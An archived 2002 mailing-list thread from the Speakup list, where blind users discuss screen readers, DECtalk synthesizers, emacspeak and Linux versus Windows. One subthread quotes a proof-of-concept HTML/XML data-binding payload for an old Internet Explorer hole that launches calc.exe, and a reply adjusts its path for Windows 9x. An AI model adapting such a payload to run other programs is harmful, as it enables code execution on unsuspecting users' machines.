http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Cecil H. Whitley]

Hi,
One note, for windows 9x the path for calc.exe needs to be changed from
c:/windows/system32/calc.exe to c:/windows/calc.exe.
Cecil
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 1:44 AM
Subject: Re: Why Windows?


> Hi,
>
> Here is a message I've received. I've tried it, and it works.
> I can't find the HTML file I've created, but you can  try that provided
> link.
> I don't know if it was solved until now.
>
> A security hole has been discovered which affects all versions of IE since
> version 4 plus OE and Outlook even if Active Scripting and ActiveX are
> disabled in the browser settings.  MS has no patch yet, bu
> <snip>
>
> <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
> <xml id="oExec">
> <security>
> <exploit>
> <![CDATA[
> <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111"
> codebase="c:/windows/system32/calc.exe"></object>
> ]]>
> </exploit>
> </security>
> </xml>
>
*snip*

Re: interesting experiment.

[Octavian Rasnita]

If a hardware sinthesizer, is the only solution for a screen reader, I will
use the DecTalk.
But I don't want to use the Dec talk with that crappy emacspeak.
It is not a real screen reader, and I've just seen that it is not
recommended to work with emacspeak and programs like lynx.

So why I should choose a bad voice and a bad talking environment?

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 5:01 PM
Subject: Re: interesting experiment.


Octavian:

Are you aware how inconsistant you are? Do you realize how
discouraging that is to someone who might want to help you out
and give you advice? Do you realize that it means you won't be
taken seriously?

If you hate the sound of the old DEC Talk when you use it with
emacspeak, why would you like it were you able to use it with
Speakup? It would still have the same sound and all those noises
you were complaining about two days ago.

Are you serious about Linux, or are you just here to cause
trouble? You act like you're not serious.

On Mon, 20 May 2002, Octavian Rasnita wrote:

> No, you're right.
> I don't use speakup though I would like to.
> I've read on speakup web page that there is working in progress for making
> the Dec Talk PC 1 card  accessible for speakup and I've subscribed hoping
> that I will find out if there is support or not. Or if there it will ever
> be.
>
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Gregory Nowak" <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 7:25 AM
> Subject: Re: interesting experiment.
>
>
> We're all assuming he's using speakup since he's here. But from all of
> Tedy's comments in other posts, I am beginning to get the impression that
> he's not, since he seems to be asking for screen readers which support
> software tts.
> Greg
>
>
> On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > Try man < emacs|less then use the speakup keys to read line by line, or
> > word by word if you wish. you can bring up the next page by hitting the
> > space bar.
> >
> >
> > On Mon, 20 May 2002, Octavian Rasnita wrote:
> >
> > > Please enlighten me.
> > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > Select an item in the tree view, press enter, then press F6 and it
will
> > > automaticly start reading that help item. It is a simple HTML file
> there,
> > > and it works exactly as simple as Internet Explorer.
> > > You don't need the Jaws cursor at all.
> > >
> > > You needed the Jaws cursor only for some bad designed help files in
the
> old
> > > .hlp format.
> > > Now in the new .chm format, you don't have any problems.
> > >
> > > But this doesn't matter too much. Please tell me how to navigate the
man
> > > pages.
> > > I type man mv, for example.
> > > It starts to print all the help file, but maybe I want to move with a
> page
> > > up then down, etc.
> > >
> > > I know this is possible. Thanks.
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 8:05 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > SNIP
> > > > > You open a window, and it explains you what you should do there.
> > > > > You have to press the space bar to check some checkboxes, to press
> some
> > > > > buttons, etc, and if you don't know something, press shift+f10 (or
> the
> > > right
> > > > > mouse button and choose "what's this?" or press F1 to view the
help
> file
> > > > > wich is much much more easier to navigate than the man pages under
> > > Linux.
> > > SNIP
> > >
> > > A fake.
> > > man pages under GNU/Linux are a lot easier to navigate than windows
help
> > > pages.
> > > you need to route the jaws cursor to the pc and then fart around
trying
> to
> > > find what you were looking for.
> > > even with the new features in jfw I seriously doubt you could navigate
a
> > > help file easier than a man page..
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

--

Janina Sajka, Director
Technology Research and Development
Governmental Relations Group
American Foundation for the Blind (AFB)

Email: janina@afb.net Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Maybe the DecTalk external, or maybe the DecTalk PC2 internal, but I have
the old PC1 internal that sounds very bad.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Alex Snow" <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 1:14 AM
Subject: Re: interesting experiment.


I think the decktalk hardware synth sounds fine, but you have to admit, the
decktalk access32 software for winblows sounds just a bit constipated.
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 10:01 AM
Subject: Re: interesting experiment.


> Octavian:
>
> Are you aware how inconsistant you are? Do you realize how
> discouraging that is to someone who might want to help you out
> and give you advice? Do you realize that it means you won't be
> taken seriously?
>
> If you hate the sound of the old DEC Talk when you use it with
> emacspeak, why would you like it were you able to use it with
> Speakup? It would still have the same sound and all those noises
> you were complaining about two days ago.
>
> Are you serious about Linux, or are you just here to cause
> trouble? You act like you're not serious.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > No, you're right.
> > I don't use speakup though I would like to.
> > I've read on speakup web page that there is working in progress for
making
> > the Dec Talk PC 1 card  accessible for speakup and I've subscribed
hoping
> > that I will find out if there is support or not. Or if there it will
ever
> > be.
> >
> >
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Gregory Nowak" <greg@romualt.dhs.org>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 7:25 AM
> > Subject: Re: interesting experiment.
> >
> >
> > We're all assuming he's using speakup since he's here. But from all of
> > Tedy's comments in other posts, I am beginning to get the impression
that
> > he's not, since he seems to be asking for screen readers which support
> > software tts.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > word by word if you wish. you can bring up the next page by hitting
the
> > > space bar.
> > >
> > >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it
will
> > > > automaticly start reading that help item. It is a simple HTML file
> > there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > >
> > > > You needed the Jaws cursor only for some bad designed help files in
the
> > old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > >
> > > > But this doesn't matter too much. Please tell me how to navigate the
man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with
a
> > page
> > > > up then down, etc.
> > > >
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to
press
> > some
> > > > > > buttons, etc, and if you don't know something, press shift+f10
(or
> > the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the
help
> > file
> > > > > > wich is much much more easier to navigate than the man pages
under
> > > > Linux.
> > > > SNIP
> > > >
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows
help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around
trying
> > to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could
navigate a
> > > > help file easier than a man page..
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Maybe you have a real screen reader for linux?
It is not the same thing if you have only emacspeak.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Alex Snow" <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 1:49 AM
Subject: Re: interesting experiment.


Yeah, I like that Linux can have speach from powerup to shutdown.  In
winblows, You can get bootup errors, and not know what they are.  When I
suspect there is a problem, I don't bother get sited help.  Just yank out
the plug, curs a few times, and try again.
It's winblows, What can you expect!
----- Original Message -----
From: "Adam Myrow" <myrow@eskimo.com>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 21, 2002 6:41 PM
Subject: Re: interesting experiment.


> A well-known trick to get old DOS screen readers to work in a DOS console
> under Windows 9X is to add "switches=/c" to your config.sys and of course,
> reboot.  I've never seen that switch documented by Microsoft, but I've
> seen it mentioned in several DOS games that came out after Windows 95.  I
> even remember reading a press release for ASAP bragging that you wouldn't
> need to use "switches=/c" with ASAP because it was so advanced.  Doubt any
> of those screen readers work with Win XP or 2K.  However, Speakup works
> with several Linux distros, and is the only screen reader to provide
> speech from power up to shut down.  It is free, too!  Despite my previous
> grumbles about it not having certain features, it's still the best free
> screen reader for any platform IMHO.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Dave Hunt <]

Ted:

Your GUI accessibility is coming.  An adaptor for the Gnome desktop is
in the works, with a preliminary version already available.  No, I
haven't yet tried it.  I suggest you wait; it's far from a release
candidate.

In the meantime, look at the screen reader YASR, and the Flite
software synthesis engine.

-Dave


Octavian Rasnita writes:
 > Unfortunately, I found that emacspeak is  the only solution for the moment.
 > I hope that Linux will follow the Windows way, and there will be a better
 > support for software sinthesizers than for hardware ones, and that it will
 > appear a graphical interface accessible for the blind.

Re: interesting experiment.

[Dave Hunt <]

You can configure Yasr, Flite, and the Flite emacspeak server.  This
will give you a screen reader with software speech.  The build process
for these things isn't as simple (to the end-user) as it could be
(they could be in RPM or some such).  Anyway, you could use terminal
app's like pine and lynx with this arrangement.

-Dave


Octavian Rasnita writes:
 > Maybe it is a stupy question, but I want to use lynx and pine. Do I have
 > another option than putting emacspeak in terminal mode?

Re: interesting experiment.

[Dave Hunt <]

Such a "how-to" is already written.  You can find it on the blinux
archive <http://www.leb.net/blinux>, or on the documents cds that are
part of the Linux distributions.  Look for something like the
dos-windows-to-linux-howto.  It is a text file, readable with wordpad,
even.  It makes analogies between DOS file management commands and
their Linux counterparts, among other things.

Octavian Rasnita writes:
 > As a good idea, I think that a good tutorial should start thinking that a
 > new user of linux used Windows until that moment.
 > I don't know if a person with absolutely no experience in computers, would
 > start learning linux these days.
 > I think the new Linux users know  at least DOS or Windows.
 > 
 > So the tutorial should  say that the ls command is like the dir command for
 > dos, but the differences are: ...

Emacs Notation--was Re: interesting experiment.

[Dave Hunt <]

In emacs documentation, when you see something like "m-x", it means,
use the 'meta' key, then 'x'.  On many keyboards, the 'meta' is the
left 'alt' key.  If this is the case, you hold the 'left-alt' and the
'x' at the same time.  If this mapping is not in place (even if it
is), the 'meta' is the 'escape' key.  When using 'escape', you hit
this first, release it, then, hit 'x'.  Similarly, a 'c-' in an emacs
command description refers to the 'control' key.

-Dave

Octavian Rasnita writes:
 > Hi, Thanks for the tips.
 > What do you mean by m-x?
 > Should I type M, then - then  x?

Re: interesting experiment.

[Dave Hunt <]

Well, simply-put, it's a similar notion.  Difference is, the 'ports'
the program listens on are within the same machine as the requests.
In the case of a 'server' such as eflite, the communication is between
processes, not client and server machines across a network.  I
understand the Windows 2000 kernel has a similar "message-passing"
scheme, but the user is carfully-insulated from such minutii:-).


-Dave


Octavian Rasnita writes:
 > BTW. Regarding servers. Please tell me what it is a server, or better said
 > what does it do?

Re: interesting experiment.

[Octavian Rasnita]

Thanks. It is exactly what I need.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Dave Hunt <" <dave.hunt2@verizon.net>
To: <speakup@braille.uwo.ca>
Sent: Wednesday, May 22, 2002 5:56 AM
Subject: Re: interesting experiment.


Such a "how-to" is already written.  You can find it on the blinux
archive <http://www.leb.net/blinux>, or on the documents cds that are
part of the Linux distributions.  Look for something like the
dos-windows-to-linux-howto.  It is a text file, readable with wordpad,
even.  It makes analogies between DOS file management commands and
their Linux counterparts, among other things.

Octavian Rasnita writes:
 > As a good idea, I think that a good tutorial should start thinking that a
 > new user of linux used Windows until that moment.
 > I don't know if a person with absolutely no experience in computers,
would
 > start learning linux these days.
 > I think the new Linux users know  at least DOS or Windows.
 >
 > So the tutorial should  say that the ls command is like the dir command
for
 > dos, but the differences are: ...


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Janina Sajka]

Octavian:

Don't post those Windows problem messages here. We really don't
give a damm about Windows viruses, Windows security holes, or
Windows anything on this list.

This is not a list about Windows anything. Do you understand
that?


-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Janina Sajka]

Octavian:

Emacs and emacspeak are both very capable, and powerful. The main
difference is that you have to learn a lot more to use emacspeak
effectively. Speakup is easier to learn.

On Tue, 21 May 2002, Octavian Rasnita wrote:

> This is a real encouragement. Thank you.
> What I am not sure yet, is if I will be able to do  with Emacspeak, all what
> you can do with speakup.
> 
> Thanks.
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 8:01 AM
> Subject: Re: interesting experiment.
> 
> 
> Yes, I have the same impression.
> 
> Unfortunately, that puts him in a bit of a bind, but only until
> he gets over his beginner's hump with emacspeak and his internal
> DEC Talk. He should be OK after that.
> 
> On Mon, 20 May 2002, Deedra Waters wrote:
> 
> > >From some of the comments he's made both  on and off list I get the
> > impression that money is a major issue. meaning that he 1 can't afford to
> > get a new synth to fully use speakup and 2 he can't afford to pay for
> > software either.
> >
> >
> >
> > On Mon, 20 May 2002, Janina Sajka wrote:
> >
> > > Greg:
> > >
> > > I'm pretty sure he isn't using Speakup. He doesn't have a
> > > supported synth. He telnets from his Windows machine, as I
> > > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > > course, the latter is a very steep learning curve.
> > >
> > > Still, he's got the DEC Talk internal, and emacs with or without
> > > emacspeak is worth learning. Without emacspeak, he can run it
> > > over telnet--but I doubt JFW is all that great as a telnet
> > > client's screen review program. Also, the default Microsoft
> > > telnet is pretty lame. I would think this setup is fraught with
> > > frustration.
> > >
> > > So, emacspeak with that DEC Talk is probably his smartest option
> > > right now, with the telnet as a back up to avoid rebooting.
> > >
> > > I have also suggest yasr and eflite, but he's insisting on
> > > nothing less than Eloquence for free, so the DEC Talk is probably
> > > the best compromise.
> > >
> > > Another option would be a better screen reader for telnet and a
> > > better telnet client. That would mean a good DOS screen reader
> > > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > > Windows machine. Neither of those is very cheap, though, and
> > > spending that much money would be dumb, because he could get a
> > > good Doubletalk for less than the cost of that software.
> > >
> > > On Sun, 19 May 2002, Gregory Nowak wrote:
> > >
> > > > We're all assuming he's using speakup since he's here. But from all of
> Tedy's comments in other posts, I am beginning to get the impression that
> he's not, since he seems to be asking for screen readers which support
> software tts.
> > > > Greg
> > > >
> > > >
> > > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > > Try man < emacs|less then use the speakup keys to read line by line,
> or
> > > > > word by word if you wish. you can bring up the next page by hitting
> the
> > > > > space bar.
> > > > >
> > > > >
> > > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > > >
> > > > > > Please enlighten me.
> > > > > > I never used the Jaws cursor in the new HTML help  format under
> Windows.
> > > > > > Select an item in the tree view, press enter, then press F6 and it
> will
> > > > > > automaticly start reading that help item. It is a simple HTML file
> there,
> > > > > > and it works exactly as simple as Internet Explorer.
> > > > > > You don't need the Jaws cursor at all.
> > > > > >
> > > > > > You needed the Jaws cursor only for some bad designed help files
> in the old
> > > > > > .hlp format.
> > > > > > Now in the new .chm format, you don't have any problems.
> > > > > >
> > > > > > But this doesn't matter too much. Please tell me how to navigate
> the man
> > > > > > pages.
> > > > > > I type man mv, for example.
> > > > > > It starts to print all the help file, but maybe I want to move
> with a page
> > > > > > up then down, etc.
> > > > > >
> > > > > > I know this is possible. Thanks.
> > > > > > Teddy,
> > > > > > orasnita@home.ro
> > > > > >
> > > > > > ----- Original Message -----
> > > > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > > > To: <speakup@braille.uwo.ca>
> > > > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > > > Subject: Re: interesting experiment.
> > > > > >
> > > > > >
> > > > > > SNIP
> > > > > > > > You open a window, and it explains you what you should do
> there.
> > > > > > > > You have to press the space bar to check some checkboxes, to
> press some
> > > > > > > > buttons, etc, and if you don't know something, press shift+f10
> (or the
> > > > > > right
> > > > > > > > mouse button and choose "what's this?" or press F1 to view the
> help file
> > > > > > > > wich is much much more easier to navigate than the man pages
> under
> > > > > > Linux.
> > > > > > SNIP
> > > > > >
> > > > > > A fake.
> > > > > > man pages under GNU/Linux are a lot easier to navigate than
> windows help
> > > > > > pages.
> > > > > > you need to route the jaws cursor to the pc and then fart around
> trying to
> > > > > > find what you were looking for.
> > > > > > even with the new features in jfw I seriously doubt you could
> navigate a
> > > > > > help file easier than a man page..
> > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> --
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: interesting experiment.

[Gregory Nowak]

You're thinking of the m or meta key.
Greg


On Tue, May 21, 2002 at 10:24:44AM +0300, Octavian Rasnita wrote:
> Ok Ok, thank you. <smile>
> Finally, it seems that you condemn me to learn emacs.
> If it is necessary, ... with pleasure.
> But I find the help file very hard to navigate and even to read.
> I have a lot of questions about emacspeak and you won't like if I would ask
> them on the list.
> You will say RTFM.
> I want to RTFM but it is very hard.
> 
> Please tell me where on the hard disk is the manual for emacspeak, and I
> will try to copy and read it under Windows, and then I may find it easier to
> use the program.
> 
> I already have this kind of experience. I've tried learning Window Eyes,
> that is the second most used screen reader for Windows, but I needed to read
> its help file with Jaws because it was more simple.
> 
> It would be great if I could read the emacspeak help file as a simple text
> file in Windows.
> 
> BTW. What is the name of the control key under Linux? I've seen that
> emacspeak uses only c letter   and if I remember well, it also uses another
> name for escape.
> Thanks.
> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Ann Parsons" <akp@eznet.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 4:18 PM
> Subject: Re: interesting experiment.
> 
> 
> Hi all,
> 
> This is the third time you've asked for a text editor under Linux.
> 
> TRY EMACS IT WRITES IN TEXT, IT WRITES IN TEXT!!!!
> 
> Plus, you can compile your PERL PROGRAMS FROM WITHIN EMACS TOO.
> 
> aNN p.
> 
> --
> Ann K. Parsons
> email:  akp@eznet.net ICQ Number:  33006854
> WEB SITE:  http://home.eznet.net/~akp
> "All that is gold does not glitter.  Not all those who wander are lost."
> JRRT
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Gregory Nowak]

Ok, I'm confused now. Is his name Tedy or is it Octavian?
Greg


On Tue, May 21, 2002 at 11:42:36PM -0400, Janina Sajka wrote:
> Octavian:
> 
> Don't post those Windows problem messages here. We really don't
> give a damm about Windows viruses, Windows security holes, or
> Windows anything on this list.
> 
> This is not a list about Windows anything. Do you understand
> that?
> 
> 
> -- 
> 	
> 				Janina Sajka, Director
> 				Technology Research and Development
> 				Governmental Relations Group
> 				American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net		Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Shaun Oliver]

Hi teddy.
viavoice won't be supported by speakup as I understand it because it's a
nonfree package and the source code isn't freely available.
as for the problem with the dec-talk pc, the issue is, needing dictionary
files to be loaded into the synth at boot time.
You can't do this until the file systems are properly mounted. So, if one
gets a kernel panic, you wouldn't know about it because you wouldn't have
speech from kernel load.
hth


-- 
Shaun Oliver

Man is the best computer we can put aboard a spacecraft ... and the
> > only one that can be mass produced with unskilled labor.
> >                 -- Wernher von Braun.
> > email: shaun_oliver@optusnet.com.au
> > icq:76958435

Re: interesting experiment.

[Shaun Oliver]

Teddy, the task of a server is just that. to serv.
whether it be by allowing multiple machines to connect to the internet
through it or store files or email each other, the principals are the
same.
hth


-- 
Shaun Oliver

Man is the best computer we can put aboard a spacecraft ... and the
> > only one that can be mass produced with unskilled labor.
> >                 -- Wernher von Braun.
> > email: shaun_oliver@optusnet.com.au
> > icq:76958435

Re: interesting experiment.

[Ann Parsons]

Hi all,

Hmmmmm, think you can get to Lynx through w3, but not sure.  You can't
use Pine.  learn VM.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Teddy, if you want to write me privately and ask questions, you can.
Or just ask them on the list.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,


Oh, dear, sorry.  OK, Ann's in tech support now.  

>>>>> "Octavian" == Octavian Rasnita <orasnita@home.ro> writes:

    Octavian> Hi, Thanks for the tips.  What do you mean by
    Octavian> m-x?  Should I type M, then - then x?


In emacs we talk about c-h or c-h which means control-h or control-x.
    The term m-x means meta, or alt key.  If you type m-x and you
    don't get anywhere, try esc-x that will work too.  
Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Emacspeak is an output speech system for Emacs.  It works even better
in emacs than a screen reader would.  

Turn the speed down on the dectalk and listen.  Learn emacs.  You will
thank us someday after you have learned it.

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[Ann Parsons]

Hi all,

Will you stop saying that!  You don't need a "real screen reader" when
you use emacs.  the speech output system works just fine.  If you
understood better I would tell you why.  Trust us!

Ann P.

-- 
			Ann K. Parsons  
email:  akp@eznet.net 			ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."  JRRT

Re: interesting experiment.

[jwantz]

Yeah, even the voice names were the same.  Its hard to believe that 
Creative hadn't gotten permission from Dec.

      Jim Wantz WB0TFK
On Tue, 21 May 2002, Adam Myrow 
wrote:

> Actually, the Dectalk Access 32 sounds like it's got a cold to me.
> Anybody remember Text Assist?  I always thought it was using a slightly
> modified Dectalk voice, and maybe that's why it suddenly vanished from
> Sound Blaster software packages.
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Janina Sajka]

On Tue, 21 May 2002, Octavian Rasnita wrote:

> In Windows I can have champaigne for free. <smile>


Excuse me. Eloquence and JFW are not free. Maybe you didn't pay
for them, but they are not free.

Re: interesting experiment.

[Janina Sajka]

On Tue, 21 May 2002, Octavian Rasnita wrote:

> Maybe it is a stupy question, but I want to use lynx and pine. Do I have
> another option than putting emacspeak in terminal mode?

Yes, you have other options, some of which you've already been
told but seem to want to ignore. So, I don't understand why you
bother to ask the same questions again. The answers aren't going
to change just because you keep asking.

> 
> Teddy,
> orasnita@home.ro
> 
> ----- Original Message -----
> From: "Dave Hunt <" <dave.hunt2@verizon.net>
> To: <speakup@braille.uwo.ca>
> Sent: Tuesday, May 21, 2002 2:05 AM
> Subject: Re: interesting experiment.
> 
> 
> Anne,
> 
> I find the documentation for term mode is better in emacspeak 15 than
> in previous versions.  Maybe It is I what is improving??  LOL.
> 
> I find terminal mode sufficient for lynx (There are sites I visit,
> that w3 will not handle well), and even the Redhat setup tools.
> Wouldn't want to use it for things like chatting or instant messaging,
> though, I have.
> 
> -Dave
> 
